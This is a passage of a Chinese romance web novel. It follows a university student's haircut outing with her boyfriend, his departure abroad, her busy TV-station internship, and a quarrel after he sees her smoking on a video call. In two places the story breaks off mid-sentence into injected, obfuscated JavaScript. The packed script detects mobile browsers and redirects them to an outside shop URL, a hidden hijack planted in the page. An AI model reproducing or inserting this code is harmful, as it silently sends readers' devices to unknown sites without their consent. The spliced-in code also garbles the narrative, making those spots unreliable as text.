“陪我去剪头发吧。” 他头发是长长了,刘海几乎要盖过眼睛,发尾也长出了一截。 其实许曼曼还挺喜欢现在这个长度的,让他看起来气质更柔和,更像一只毛茸茸的大狗了。 她这么想着,顺手摸了两把,又逗狗似的拍拍他头顶。 “行。” 程喻抬眼看她,欲言又止,但最终还是理智占了上风,默默忍受了这种行为。 去了理发店,许曼曼一眼就看到店内的宣传屏上有学长的照片,放的还是他出道夜那一张,镜头仰拍,没有笑,整个人看起来却好像在发光。 “就剪这个吧!”她立刻兴奋地提议,“学长这个发型,怎么样?” 学长的发型和之前不太一样,应该是节目组造型师帮忙打理的,很有空气感的短碎发,又做成了侧背样式,露出额头。 他眉眼本来就出彩,这样一来,脸的优势完全展露,好看程度加倍。 “不要。” 程喻干脆利落地拒绝,又对发型师说。 “剪短就行。” 许曼曼撇了撇嘴,发型师在旁边笑了。 “每个人适合的发型不一样,这个还是要看个人意愿。” “你也喜欢陆景尧?” 旁边的发型师助理跟她搭话,是个年轻女生,染了一头亮眼的橙色长发。 “对啊。”许曼曼点头,“这谁能不喜欢,他现在是最火的。” “是吧?”她也猛点头,“我最开始知道他是星港人的时候,可惊喜了!” 两个人找到共同话题,立刻聊到了一起,从出道名次到成团综艺,滔滔不绝说个没完。 直到程喻在那边叫她:“曼曼。” 她这才有些意犹未尽地过去,透过镜子看他。 “怎么了?” “你觉得我要剪多长?” “我说让你剪个学长同款你又不干。” 说归说,许曼曼还是给发型师讲了大致的思路。 虽说是遵照个人意愿,但这个“个人”,当然是她个人。 人也从头到尾在旁边盯着,最后发型师剪出来的效果很好,她很满意。 吹风机吹完,她看着镜子,先说了句。 “别动。” 然后掏出手机,站在后面拍了一张照片。 照片里的程喻,身上的围布都还没摘,隔着镜子和她对视,中午的阳光刚刚好,照得他像一颗毛茸茸的栗子。 “可爱。” 许曼曼伸手揉了揉他发顶,这才说。 “好了,起来吧。” * 程喻这个发型剪得确实清爽可爱,许曼曼说过他长相其实偏冷,而这个发型很好地弱化了这一点,一种清朗的少年感,让他看起来几乎有点人畜无害的感觉。 两人一路走回去,许曼曼被他牵着一只手,另一只手却不老实,总想去摸他的脑袋。 “干吗?”程喻再一次偏头躲过了她的手,“老实点。” “好可爱,让姐姐摸摸。”许曼曼做出一副怪姐姐的样子,“低头,快点!” “看路。” 程喻把她往身边带了带,防止她张牙舞爪撞到前面的树上。 按照两人的身高差,他如果不低头的话,许曼曼只能踮脚去够,才能摸到他脑袋,再加上他有些抵触,就很不方便。 于是她停下脚步:“背我。” “嗯?” 程喻也停下,先确认她没事,才问。 “怎么了?” “累了,不想走。”她伸手,“背我。” 明知道她在睁眼说瞎话,程喻笑了下,还是依言蹲下。 “来吧。” 许曼曼满意地被背起,一只手抱住他脖子,另一只手立刻摸到了头上。 刚剪完的头发茸茸的,发丝轻盈,手感很好。 “就知道你。”程喻把她往上掂了掂,“怎么感觉瘦了?” “真的?”许曼曼先是惊喜,随即顺手给了他一下子,“就知道说漂亮话骗人!” “真的,什么时候骗过你。” “哈?你再说呢?” 许曼曼立刻细数他的罪状。 “昨天,假装磕到手骗我给你擦药;上周,骗我考试不及格,害我白安慰你半天;对了还有那次,看电影的时候……” 温情时刻瞬间变成指认现场,程喻招架不住,赶紧道歉。 “好了好了,都是我的错,不该骗人。” “知道就好。”许曼曼哼了一声,“你小子,整天装得一副明月清风的样子,有点坏招都使我身上了,只有我有发言权!” “对啊,只有你。” 前面是红灯,他停下脚步,声音里的笑意被风吹过。 “我早就说过了。” “行吧。”许曼曼双手抱紧他,很大度地说,“你这种坏人,也就我好心收留一下了,知足吧。” “那说好了,你可要一直收留我,不准放手。” “看你表现吧。” “好。” 绿灯亮起,程喻背着她往前走,语气轻快。 “我会很努力的。” * 程喻第二天上午九点多的飞机,虽然要早起,晚上还是不想挂电话。 “好了,快去睡吧。”许曼曼忍不住催他,“小心明天起不来。” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792170|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。”他说,“回去就不能这样和你聊天了,不想睡。” “你不睡我还要睡呢。” 许曼曼看了眼时间,已经十二点多了。 “快点,听话。” “好吧。”他又强调一遍,“你明天不用来送我。” “放心吧,我起不来的。” 明天程叔叔送他去机场,大概七点就要出门,许曼曼已经说好不送他了。 “嗯。” 他还有些恋恋不舍的,顿了顿。 “那,晚安。” “晚安。” 毕竟马上要分开,许曼曼也比平常要温柔一点。 想了想,又难得加上一句。 “爱你哦。” 程喻没回话,电话也没挂断,耳边似乎有电流的声音,许曼曼半晌才听到回话。 “再说一遍。” “……想得美。”她哼了一声,“挂了吧。” “再说一遍我就挂,真的。” 这人黏人起来就是这样,死缠烂打的,不拿到想要的绝对不会罢休的。 “行吧。” 她今天也格外好说话,清了清嗓子。 “小鱼。” 声音也很轻,是撒娇时才会出现的那种语调。 “很爱你。” 电话那边又是一阵沉默,久到她以为程喻已经睡着了。 正想着要不要问一下,程喻的声音传过来,低低的。 “还好你不在。” “怎么了?” “没什么。” 他说,声音贴近,似乎是在话筒处印上了一个吻。 “我也爱你,晚安。” * 但许曼曼第二天竟然醒得很早,因为心里有事,睡梦中也不太安稳,醒来看了眼床边的闹钟,才六点钟。 程喻应该已经起了,她这么想着,重新闭上了眼睛,以为会再次睡过去,结果却是越来越清醒。 心里想着,程喻现在应该在洗漱,应该在收拾东西,应该在吃早饭。 想来想去,干脆从床上爬了起来,匆匆洗漱完,衣服也没换,直接在睡衣外面套了外套,就下楼了。 妈妈还没起床,家里静悄悄的,她只拿了手机出门,看眼时间,已经快要七点了。 外面晨光熹微,没什么风,看起来会是个大晴天。 街上人不多,她开始还是走着,走着走着脚步加快,到最后几乎是跑过去的。 两家离得不远,只隔了两条街。转过路口,就看到程叔叔的车已经开了出来,正停在院子门口。 看来还没走,她放慢了脚步,刚起床又这么一通跑,头有点晕。 刚顺过气,前面传来程喻的声音。 “曼曼?” 抬眼看过去,他背了包,正从家里出来。 看到她,脸上浮现惊喜的表情。 “你怎么来了?” 程叔叔也跟在后面,许曼曼突然有些不好意思,没答话,先跟程叔叔问了好。 “早啊曼曼。”程叔叔笑眯眯的,“竟然起这么早?” “嗯,今天醒得早。” 她更加不好意思了,只是程喻在旁边拉住她的手,又不能甩开。 “你们聊吧。” 程叔叔关上后备箱,先进了车里。 留下两人站在车后,也不知道透过后视镜能不能看到。 许曼曼这么想着,听到程喻问。 “来送我的?” 他声音里笑意实在明显,许曼曼瞥了他一眼,哼了声。 “只是醒得比较早,顺便过来看看,别自作多情。” “好。”他抬手帮她拉了拉衣领,“穿这么少,别冻着了,快回去吧,我到了第一个给你打电话。” “不用。”许曼曼别别扭扭的,要把手抽出来,“你先给叔叔阿姨打。” 手却怎么都抽不出来,这人嘴上说着让人走,手却攥得比刚才还要紧,垂眼看她。 “抱一个。” “叔叔看着呢——” 许曼曼话没说完,被他一把拉进怀里,紧紧抱住。 冬日清晨,他身上清爽的气息把她环绕,是个即将要分别的,无法拒绝的拥抱。 许曼曼抬手回抱住他,说了句。 “拜拜。” “嗯。” 他抱得太紧,答应完才松开手,垂首在她脸颊边印上一个吻。 动作很快,很轻柔的一点温暖触觉,许曼曼几乎没有反应过来。 “我走了。”他说,看着她微笑,“别太想我。” “谁想你了?” 许曼曼有些脸红,但还在嘴硬。 “我会想你的。” 他说,捏了捏她的脸颊。 “每天。” 28. 时差 许曼曼的大一暑假过得有多悠闲,大二暑假就有多狼狈。 她们系大二就要求实习,不少于六周,还要有完整的实习证明和实习报告。 于是这个炎热的夏天,她回不了家,期末考完就直奔东澜,要在东澜电视台实习大半个暑假。 林乔的实习也选在东澜,去了一家广告公司做策划。 广告公司和电视台离得不远,于是两人刚好一起合租,在附近一个小区找了房子。 小区有点老旧,房子也不大,是一居室改两间,但光线很好,还带阳台。地铁走路十分钟,沿路有不少小吃店,可以解决吃饭问题。在寸土寸金的东澜,已经算不错的选择了。 只是两人一个比一个忙,能见到面的时间都很少,也不知道实习而已,到底为什么能忙成这样。 林乔每天都在加班,说是跟的组接了一个大项目,时间紧任务重,客户又很难搞,每天改方案改到崩溃。 她这么爱骂人的一个人,每天回到家,连说话的力气都没了,几乎倒头就睡。 许曼曼也好不到哪里去,她能进东澜电视台都算是个意外。 学院暑期实习合作名单里有东澜电视台,但只有两个名额,她抱着试试看的想法报了名,学院这边筛选完,又参加了电视台的线上面试,没想到竟然被选中了。 也不知道到底是哪里被看上,总之她稀里糊涂地来了,实习生分配部门时,被分到新闻中心,进了科技新闻组。 说起这个她可就不糊涂了,娱乐八卦之类的她最擅长,科技文教可实在不在能力范围内。 面试的时候明明也说过,期望部门是综艺文娱,可怎么就进了新闻中心,偏偏还是科技口,痛苦程度直接指数级上涨。 可是来都来了,能怎么办,也只能硬着头皮上了。 台里完全没有对实习生的体贴,第一天的基础培训过后,大家就各回各的部门,并且直接上手工作。 科技组人不多,而且男女比例极不平衡,除了许曼曼,竟然就只有一名女记者,于是顺理成章的,她被安排给了对方。 这位前辈名叫沈如茵,性格比较冷淡,平时没什么表情,不过倒是不凶,只是做事讲究效率,不说废话。 听其他人说,她在科技组待了四年,已经是新闻中心最年轻的资深记者,口碑很好。 跟着这样一个师父,许曼曼也不敢马虎,每天都要打起十二分精神。 开头几天还算是适应期,该学习了解的都弄明白了之后,她就跟着沈如茵,参与了一个科技园区的专题报道。 这才是真正的工作强度,从前期准备开始,许曼曼几乎每天都要加班。 要踩点看场地,要整理资料,还要做细致的背景调查,工作量堆得实在太满,有时候她从办公桌前抬起头,看着窗外的蓝天白云,会怀疑自己是在做梦。 但比较起来,外拍才是真正的噩梦。 东澜的炎炎烈日下,不但要换着场地跑,从工厂到实验室,还有数不清的访谈、拍摄,每一天都有新难题,她觉得自己这辈子没吃过的苦都在这里吃了。 这样混乱糟糕的作息中,自然和程喻说不上几句话。 程喻同样没回星港,他更离谱,去了美国。 是清岚大学和美国那边合作的科研夏校,要去一个多月的时间,在东海岸,现在两人之间隔着12个小时的时差。 这种时差的好处是容易换算,总之白天黑夜对着来就好了,早上许曼曼开始上班的时候,他还没出实验室,晚上回到家要睡了,他上午的课还没结束。 两个人作息对不上,又都很忙,能说上话的时间少得可怜。 这时才知道和距离比起来,还是时差更磨人。 12个小时,情绪传递过去会失温,分享也会过期。 这个夏天就变得漫长、漫长起来。 * 距离近的倒也有,家在东澜的赵宜杭,暑假自然也回来了。 他才大一,每天自然是无所事事,偶尔就会骚扰许曼曼,约她出来玩。 许曼曼哪有时间,工作日忙到飞起,周末偶尔也要加班,不加班的时候只想躺平,就这样都还累死累活的,根本没空陪少爷玩。 只不过暑假实习,都能要了半条命,她已经悲哀地预见到自己的未来了,为什么工作可以这么累啊! 专题推进到后期,回台里剪辑出稿的时候,才总算摆脱了外拍的命运,但还是要加班到九点十点,改不完的稿件写不完的脚本。 好容易熬到周五,许曼曼把最后一份初稿交给沈如茵,等了半小时,收到她一句“可以了”的回复,这才算是一周工作结束。 她如释重负地往后一倒,看眼时间,竟然才七点。 在学校的时候,老师晚下课一分钟都会抱怨,现在被工作摧残到,明明下班时间已经过去两小时,竟然会觉得庆幸。 因为她原本预计今天也要到很晚的,没想到沈如茵这次会过稿这么痛快,于是周五晚上,这突然降临的空闲时间,一时没想好要干什么。 来东澜也有一个月了,但除了最开始那两天,和林乔一起逛了逛,买了点生活必需品,都没再出去玩过。 不过林乔今天还是要加班,她那个项目正到关键节点,这几天都在发疯似的赶进度。 要不还是回家休息吧,明天不知道还会不会临时有事。 她这么想着,手机却突然来了消息。 是赵宜杭,给她发了个定位,距离倒不远,但看起来是个酒吧。 38.6:来吗? M.M:来你个头,你能不能积极向上一点? 大概是她秒回的缘故,赵宜杭直接电话打了过来。 环境有点嘈杂,音乐声混着人声,听起来应该是在酒吧里面。 “下班了没?”他声音懒洋洋的,“你到底是在实习还是被卖给资本家了,拉磨的驴也有休息时间吧?” “你才是驴!”许曼曼翻了个白眼,“我不去酒吧,太吵,听得我头疼。” “不来别后悔。” “……怎么了?” 许曼曼最禁不得人这样,立刻追问。 “有什么?” “西岭酒吧,你说长得很帅的那个鼓手。”他说,“今天也来。” 许曼曼犹豫了。 “来吗?” “……来!” 那天林乔她们有拍照片和视频,但因为酒吧灯光的关系,他又坐在舞台后面,拍得没有很清楚。 就算这样,仅凭这有些模糊的动态,也能看出来人是真的很帅。 长到几乎遮住眼睛的头发,敲鼓的手,还有笑起来会低头的样子,都完完全全是许曼曼喜欢的类型。 只是在那之后,乐队就没怎么去过那个酒吧了,连同这位帅气鼓手,成为大学城附近一个遥远的美丽传说。 许曼曼一直后悔没能亲眼见到,也有在赵宜杭面前抱怨过,毕竟当时是因为他才错过的。 没想到现在人会在东澜,而且她又刚好有时间,那自然没有不去的道理。 她就这样怀揣着期待的心情前往。赵宜杭发的定位在五安路,这边是年轻人聚集的地方,夜生活尤其丰富多彩,一条街上全是酒吧、Livehouse,路灯下三三两两聚集着人,走到哪里都有音乐声传来。 许曼曼一路走过去,几乎犯了潮人恐惧症,感觉全东澜的潮人都在这里了。 远远看到拐角边的小酒吧,门口亮着霓虹蓝色的灯牌,上面的名字是“路过”。 这招牌很亮眼,许曼曼走过去,看到一抹更亮眼的颜色,一头白毛的赵宜杭正坐在路边抽烟。 这人从那次染发后,就再没回归过黑色头发,五颜六色的换了很多,眼下又染回了白毛。 他正看手机,没注意到人来,许曼曼有心想吓他,蹑手蹑脚走过去,正要伸手,他突然一个抬眼。 她伸出去的手尴尬停在半空,赵宜杭挑眉。 “干吗?” “你好?” 她顺势打了个招呼,随即把手放下,悻悻道。 “无聊。” 他含笑打量了一下她,点头。 “看起来是被摧残得不轻。” 两个人只在她刚来东澜的那天见了一面,快一个月没见,他还是那副嚣张欠揍的嘴脸,倒是许曼曼,确实没力气骂人了。 只举了举拳头,象征性地来了句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802491|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “滚。” * 她没管自己穿的是裙子,也坐到了旁边。 “人呢?” “嗯?”他反应了一下,才意识到她在说什么,“还没来。” “你不会骗我吧?”许曼曼警惕地看他,“喂,敢骗我的话你就死定了!” “我骗你能得到什么?” “这谁知道。” 许曼曼斜了他一眼,随即从包里掏出小镜子,开始补妆。 她去上班还是会稍微意思一下,化一点淡妆的,只是到了晚上,不可避免的有些脱妆。 见长得好看的人,她向来都会拿出诚意,妆自然也要补一下。 于是两人就这么坐在路边,一个抽烟,一个补妆。 街边路灯被树遮出一片阴影,看得不是很清楚,她只好侧过身子拣着那一点光亮。 到了晚上温度还是很高,路面往上散着热气,空气中烟味酒气混在一起,后面有鼓点声透过墙传出来,声音闷闷的,地面都像在发颤。 但许曼曼意外的并不讨厌这种环境,她闷头在办公室里改了一天的稿,现在置身人群之中,竟有一种莫名的抚慰,像是终于能感觉到自己在活着了。 对着镜子补妆,伸展开的腿都忍不住跟着鼓点声晃起来。 赵宜杭也不说话,盯着眼前的空气抽烟,不知道在想什么。 一根抽完,他又从烟盒里抽出一根。 打火机啪的一声,单手点着了烟,火光明灭,薄薄的烟雾从指尖散开。 许曼曼瞄了他一眼,评价道。 “堕落。” 他夹着烟的那只手撑着脸颊,微微一笑,倒也不否认。 这人从生日以来就很颓废,也没什么可说的,东京突然下雪的平安夜,许曼曼本以为会是个开始,没想到是结束。 他去晚了一步,没能表白,倒是亲眼看着姐姐和别人在一起了。 这下子彻底断了念想,放没放手不知道,反正这人彻底变成了个非主流,换发色比回归期的爱豆还勤,而且还纹了身。 只是许曼曼无缘得见,据说是在后腰,那她就不是很想看了。 抽烟这个恶习,差不多也是从那之后开始的。 许曼曼补完妆,把镜子收了起来。 “怎么还不来啊?他几点到?” “快了。”赵宜杭看了眼时间,“说是九点之前。” 她还想再问点相关的事,手机来了消息,是林乔。 她今天不但加班,还有饭局,一个实习生硬是活出了客户经理的架势。 这会儿正从饭局溜号出来,在外面给她发消息吐槽呢。 许曼曼看着她一连串舌绽莲花的骂人话,忍不住笑,回复了几句,有风吹过,赵宜杭那边的烟味散了过来,意外的并不难闻,有种清清淡淡的薄荷味道。 她看了眼,这人竟然又拿了一根新的。 “哎。”她说,“给我抽一口。” 赵宜杭点火的动作停住,看过来。 “‘堕落’?” “别管。”她翻了个白眼,“我乐意。” “行吧。” 接过那根新的叼在嘴上,他把打火机伸过来点火,又教她。 “吸气。” 许曼曼按照他教的,深吸了一口气,烟被点着,吸进来的一瞬间就被辣到,像有什么轻轻刮了一下喉咙。 她忍不住皱眉,咳了起来,烟味在这时更加强烈地涌上来,很冲,头有点晕。 “呛死了。” 这烟抽起来和闻起来感觉完全不一样,没什么清淡的薄荷味,就是烟味。 正要还给他,手机消息又跳出来,是视频通话。 大概是林乔终于打字打累了,要换视频吐槽了。 她这么想着,顺手点了同意,又接着抽了一口。 然后对着镜头,吐出了一口烟。 还是有被呛到,但她努力压住想要咳嗽的感觉,试图冲林乔耍一下帅。 “怎么样?” 话刚说完,烟气散尽,手机屏幕上却并不是林乔。 对面光线明亮,不是夜晚。 远隔万里重洋的另一边,程喻正面无表情看着她。 29. 长大 因为是完全没有预料到的情况,许曼曼吓了一跳,条件反射似的站了起来。 惊慌之下,手里的烟又险些烫到手,直接丢到了一边。 旁边还坐着个大活人,可能是丢到了他身上,只听到他嘶的一声。 “让你不抽给我,不是让你烫死我。” 这声音一出,她更加心虚,于是话也不说,赶紧走去旁边,找了一个僻静点的地方。 说是僻静,其实也就是人稍微少了点而已,周围的嬉笑声传过来,突然变得有些刺耳。 路灯光昏黄,她看着镜头,下意识咬起了嘴唇。 程喻从刚才就一直没说话,等到她一连串的小动作做完,这才开口。 神情冷淡,声音更是冷淡。 “解释一下。” 有什么可解释的。 许曼曼其实也没撒谎,之前跟他说了今天要加班,应该会到很晚,是实话。 只是突然可以不加班,又临时收到赵宜杭的邀约,来了酒吧,这话没说。 至于刚才这突如其来的一口烟,更是简单明了,他都看到了,还有什么可解释的。 许曼曼这么想着,也确实觉得自己无话可说。 于是老实认错:“我错了。” 她这人虽然总是理不直气也壮,眼色还是会看的,该认的错也会认。 程喻现在眼看着正在气头上,低头认错自然没错,更不用说自己的确有问题。 可是这话说出口,程喻原本没什么表情的脸上,却浮出明显的愠色。 “你只有这句话说?” 隔着屏幕,他那边是美国清早的阳光,看起来和自己不在同一个世界。 许曼曼有些不太明白他的意思,想了想,茫然开口。 “还有……什么?” 程喻没说话,略一停顿,很干脆地挂断了。 视频画面消失的一瞬间,许曼曼甚至没反应过来,对着聊天界面愣了片刻,才意识到程喻是真的挂断了。 他竟然直接挂断电话,这还是破天荒第一次。 但许曼曼自己做错事,也没理由生气,只能认栽。 就这么盯着手机,等了半天也没见后话,于是又灰溜溜发消息过去。 ——别生气了。 ——我不该抽烟。 ——这真的是第一次,没有下次。 程喻没回她。 她垂头丧气走回去,赵宜杭还坐在地上玩手机,烟倒是不抽了。 见人回来,抬眼一看,从她的表情就能猜到个大概。 “没想到啊。” 他做出一副痛心疾首的样子,摇了摇头。 “我们许大小姐谈起恋爱来,竟然也是这个样子的。” “闭嘴。” 许曼曼没力气跟他斗嘴,把背包从地上拎了起来。 “我走了。” “走?”他有些惊讶,“这就走?人还没来呢,不看了?” “看个屁,我现在哪有心情看,就算赵亦朔来也不看了。” “你这过得。”他嘲笑道,“比我那舔狗哥们还惨。” “滚。” 许曼曼轻踢了他一脚,把包甩到肩上,没精打采的。 “走了。” * 回到家已经是九点多了,林乔还没有回来。 她灯都懒得开,没什么力气地扑到沙发上,再次确认手机,程喻还是没理自己。 当然了,这个时间,他应该已经在上课了。 虽然只是夏校,但科研任务好像还挺重的,他每天熬的夜不比自己少。 上午一般都是9点到12点,连着3个小时的课程,所以刚才应该是他去上课之前,抽空给自己打了个视频,没想到就那么巧,刚好撞见她抽烟。 一个人怎么能倒霉到这个程度,什么都这么赶巧,好容易做了次坏事,就刚刚好被撞见。 她有些懊悔地翻了个身,想着要不要再写篇小型检讨,深刻剖析自我,或者拍个沉痛的视频给他发过去。 琢磨了一会儿也没头绪,她其实不太会主动低头,这种时候总不知道该说什么。 而且程喻的火气有些不明不白的,说实话她没完全弄明白,不知道他真正生气的点在哪里。 只是抽烟,应该也不至于吧。 就算听到了赵宜杭的声音,关于两个人是朋友这件事,程喻已经没有刚开始那么在意了,应该也不至于这么生气。 他这个人生气,尤其是对自己生气,次数本来就屈指可数,可是像这样连一句话都不想说,是从来没有过的。 要绝交的那次,还有在清岚大学的那次,他再生气,也是把话掰开来跟她说清楚,绝对不会一句话不说就挂电话。 事情不解决反而放置,不是他的做事风格。 可以说,这个有些陌生的程喻,才是许曼曼真正担心的。 还没等她想个明白,门口传来钥匙转动的声音,林乔回来了。 她开门进来,打开客厅的灯,被沙发上躺着的许曼曼吓了一跳。 “你回来怎么不开灯!” “懒得开。”许曼曼没有动,看着她,“吃完了?” “吃个屁,累死老娘了。” 林乔把包扔到一边,有气无力地过来,躺到另一边沙发上。 “该死的,酒喝了一点,饭没吃几口。” “怎么样?” “算是成了吧,追加预算总算是谈下来了。”她打了个大大的哈欠,“明天不去加班,死也不去了。” “明天睡觉吧。” 许曼曼被她传染,也打了个哈欠,闭上眼睛。 “睡一天一夜。” “嗯,谁也别想吵醒我,地震来了我也要接着睡。” 两个人有一搭没一搭说着话,直到林乔终于躺不住了,起身去厨房翻出个面包来吃。 “这么饿?”许曼曼转头看她,“你们公司也太压榨人了吧?饭都不给吃?” “我对着甲方那几张脸,怎么可能吃得下去,不吐出来就不错了。” 林乔狠狠咬了口面包,又说。 “不过也要感谢他们。” “感谢?” “让我能及早认清现实,在大二就想好未来的人生方向。”她咽下面包,手一挥,“我要读研,不要工作。” “那,研究生读完呢?” “还要好久呢,到时再说,反正现在我是不要工作。” 许曼曼倒是没往这个方面想,闻言也思考了一下。 她其实是不太想读研的,一方面是自己已经不耐烦读书了,另一方面,她们这个专业,读研的意义其实不大,除非一条路走到黑,否则还不如累积工作经验。 这次来电视台实习,最开始被分到科技组的时候,她其实是很抗拒的,觉得这个方向不适合自己。 可是这一个月做下来,在逐渐适应节奏,上手工作之后,虽然很忙,但好像还是能接受的,沉下心来学习,获得的成就感也很足。 尤其是跟着沈如茵,她做事的方法,对待工作的态度,对自己的启发很大。 在现场看着她工作的样子,简直像在闪闪发光,有时就会想,要是能成为这样的人,好像还挺不错的。 这么快就要思考未来了吗? 去年这个时候的她,只有程喻对自己若即若离的烦恼,更多时候无忧无虑,每天吃饭睡觉玩游戏,过着不需要动用大脑的生活。 仅仅一年过去,时间的脚步匆匆,好像在催着她长大似的。 闭上眼睛,耳边是星港盛夏的蝉鸣。 可她现在却身在东澜。 大概是她沉默的时间有点久,林乔问了句。 “想什么呢?睡着了?” “没有。” 许曼曼睁开眼睛,叹了口气。 “就是觉得,真不想长大。” * “总之,事情就是这样。” 许曼曼跟林乔讲了自己和程喻闹别扭的事情,最后得出一个结论。 “都怪你,要不是当时在跟你聊天,我也不会为了耍帅再抽一口,就不会被看到了!” 下着雨的周六下午,两人打着伞走在路上,这边是老城区,街道上被风雨卷出满地落叶,到处都是湿漉漉的。 难得拥有一个完整的周末,两个人都一觉睡到了中午,窗外的雨自顾自下着,家里一片睡意昏沉。 许曼曼醒来看了眼时间,十二点多,手机依然静悄悄,没有程喻的消息。 这是真生气了,平常不用多说,就算去了美国,他也是会算着她起床的时间,雷打不动问早安的,更没有超过八小时不联络的情况。 之所以说八小时,是因为他有次做实验,不能带手机进去,也不能中途离开,一共在实验室待了七个多小时,这是最长时间的记录。 眼下这个记录被打破了,许曼曼终于意识到问题的严重性。 但就算这样,也丝毫没有耽误自己睡觉,依旧没 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许曼曼哼了一声,又意识到现在不是讨论给领导下药还是下毒的时候。 “但是这事,你帮我想想,我该怎么办啊?” “道歉啊,还能怎么办。” “你到底有没有在听我说话!”她愤怒地说,“我道歉了!可是他听了反而更生气,然后就不搭理我了。” “那就是你没道歉到点上呗。”林乔语气轻描淡写的,“我还是那句话,你要先知道别人生气的点在哪里,然后再道歉,不然那就不是道歉,是火上浇油。” 雨打在伞面上,淅淅沥沥的。 雨声中,许曼曼的声音真诚又愚蠢。 “那你觉得,我到底错哪里了?” “你问我?咱俩谁是当事人啊?” “我吧,但是——” 许曼曼话没说完,脚下突然踩空,摔了。 “哎呦!” 她完全没防备,这一下摔得不算轻,直接跪坐在了马路上,伞也没握住摔了出去。 更重要的是,左腿磕在了马路牙子上,疼得厉害。 林乔连忙过来扶人,手里的伞不好招架,也扔在了一边。 看了一眼,发出一声惊叫。 “天。” 许曼曼穿的是短裤,腿就这么直直磕上去,路面混着碎石子,已经在流血了。 虽然不知道伤口有多深,流的血是不少,看起来挺吓人的。 林乔要扶她的手都停住了,大概是怕弄疼她,犹豫了下。 “要叫救护车吗?” “疯了吧,叫什么救护车。” 许曼曼也没试着起身,直接坐在了路边,看了眼伤口,突然笑了。 “你笑什么?” 林乔拿过伞来,给两人都打上,看着她笑起来的样子,语气惊恐。 “也没摔着脑袋啊?” “哎呀,什么。”许曼曼掏出手机,递给了她,“来,帮我拍张照。” “……这就不用拍认证照了吧?” “不是拍我!就拍这伤口,你那个角度好拍一点。” 林乔接过手机,这才有些恍然大悟似的。 “哦,要卖惨?” “不是卖惨,我是真惨。” 许曼曼借用了一句赵宜杭的话,又催她。 “快,别一会儿血就干了。” 林乔翻了个白眼,蹲下来把伞递给她,这才开始给她拍伤口认证照。 “注意角度。”许曼曼还在指导,“尽量鲜血淋漓一点,知道那种感觉吧?” “……”林乔无语,“你还是不疼。” 谁说不疼,其实伤口一阵一阵钻心的疼,但比起这个,她正愁要怎么跟程喻和好,这下老天爷顺手的台阶都递过来了,可不是要抓住。 “怎么样?要不要再淋上点雨?” “淋什么雨!感染了你就高兴了!” 林乔把手机还给她,又说了句。 “你知道卖惨这种事,只对爱你的人管用吧?” “知道啊。” 许曼曼翻看着照片,的确鲜血淋漓,看着比实际要严重很多。 一个普通的伤口,硬是拍出了车祸现场的感觉,不得不说,林乔还是挺有摄影天赋的。 她收起手机,抬眼笑了。 “所以要对程喻用。” 30. 乌托邦 伤口其实没什么大问题,就是表浅擦伤。 林乔陪她去了社区医院,医生简单处理了一下,上了药敷了纱布就可以了。 也并不影响走路,开始她还觉得有些别扭,走了几步就没事了。 回去两人照常吃了火锅,虽然医生说要忌口,尽量吃清淡点,许曼曼也没管,还是吃了辣锅。 “你这惨到底要什么时候卖?” 晚上一起打游戏,林乔想起来问了句。 “我看你一点也不着急。” “不知道。” 许曼曼瞄了眼旁边的手机,仍然没有动静。 已经十点多了,平常这个时候程喻绝对会联系她的,可是那通电话之后,人就这么消失了。 她有些烦躁地抓了抓头发:“明天吧,明天他要是还不找我,我就主动找他。” “瞧瞧,不知道的还以为要道歉的人是程喻呢。” 林乔喝了口可乐,点评道。 “你架子可真大,道歉还要挑时间的。” “别管我!”许曼曼把手柄按得很响,“我还没组织好语言呢!” 结果到了第二天,她还是没组织好语言。 林乔大早上又被公司抓去加班了,只剩她一个人在家,守着手机干瞪眼。 眼看着程喻是没有主动求和的打算了,可是她要怎么开口? 假装没事发生,发一句早安?不对,他那边是晚上。 那就说晚上好?可是很奇怪,哪有人早安不说晚上才来问好的。 总不能直接把血淋淋的照片发过去吧,看起来不像求和,倒像是勒索。 直拖到不能再拖,再拖下去程喻都要睡了,才终于想出权宜之计,发了一条朋友圈。 配图就是林大摄影师的得意之作,一张堪比交通事故现场的照片。 小腿上斑驳的雨痕,鲜血淋漓的伤口,还粘着灰尘和碎石,不可谓不惨。 图片已经如此直击人心了,配文就只有简单的三个字。 ——下雨天。 不知道的还以为在浪漫抒情呢。 当然,也没忘了屏蔽家里人,她可不想先收获妈妈的唠叨。 发出去之后,立刻把手机扔到一边,在地毯上躺平了。 就这么假装不在意地躺了一会儿,忍不住拿过来看,已经有了点赞评论。 有同情关心的,有扣问号的,有要举报她发布血腥画面的,还有问她要精神损失费的。 可是没有程喻。 不会睡了吧?可是看眼时间,这个点他应该是不会睡的,通常才刚从实验室回去。 那就是没看手机,可能在洗澡吧。 她这么想着,还是有些沮丧,毕竟程喻向来都是秒回的。 林乔的小音箱就在旁边,她给自己点了一曲大悲咒,又默默躺了回去。 舒缓的旋律中,她开始觉得林乔说得对,自己就是太任性了,连道歉都别别扭扭的,端着架子非要程喻主动,毫无诚意,非常过分。 难道佛教音乐真会催生人的忏悔心吗? 她闭着眼睛,自我批判正进行到最深刻的时候,手机铃音却突然响了。 一时间还以为是幻听,睁开眼睛又听了听,确认是真的,这才起身拿过手机。 屏幕上是程喻的来电。 * 视频接起来的一瞬间,许曼曼竟然有些忐忑。 看着镜头,还没想好要说什么,程喻却直接开了口。 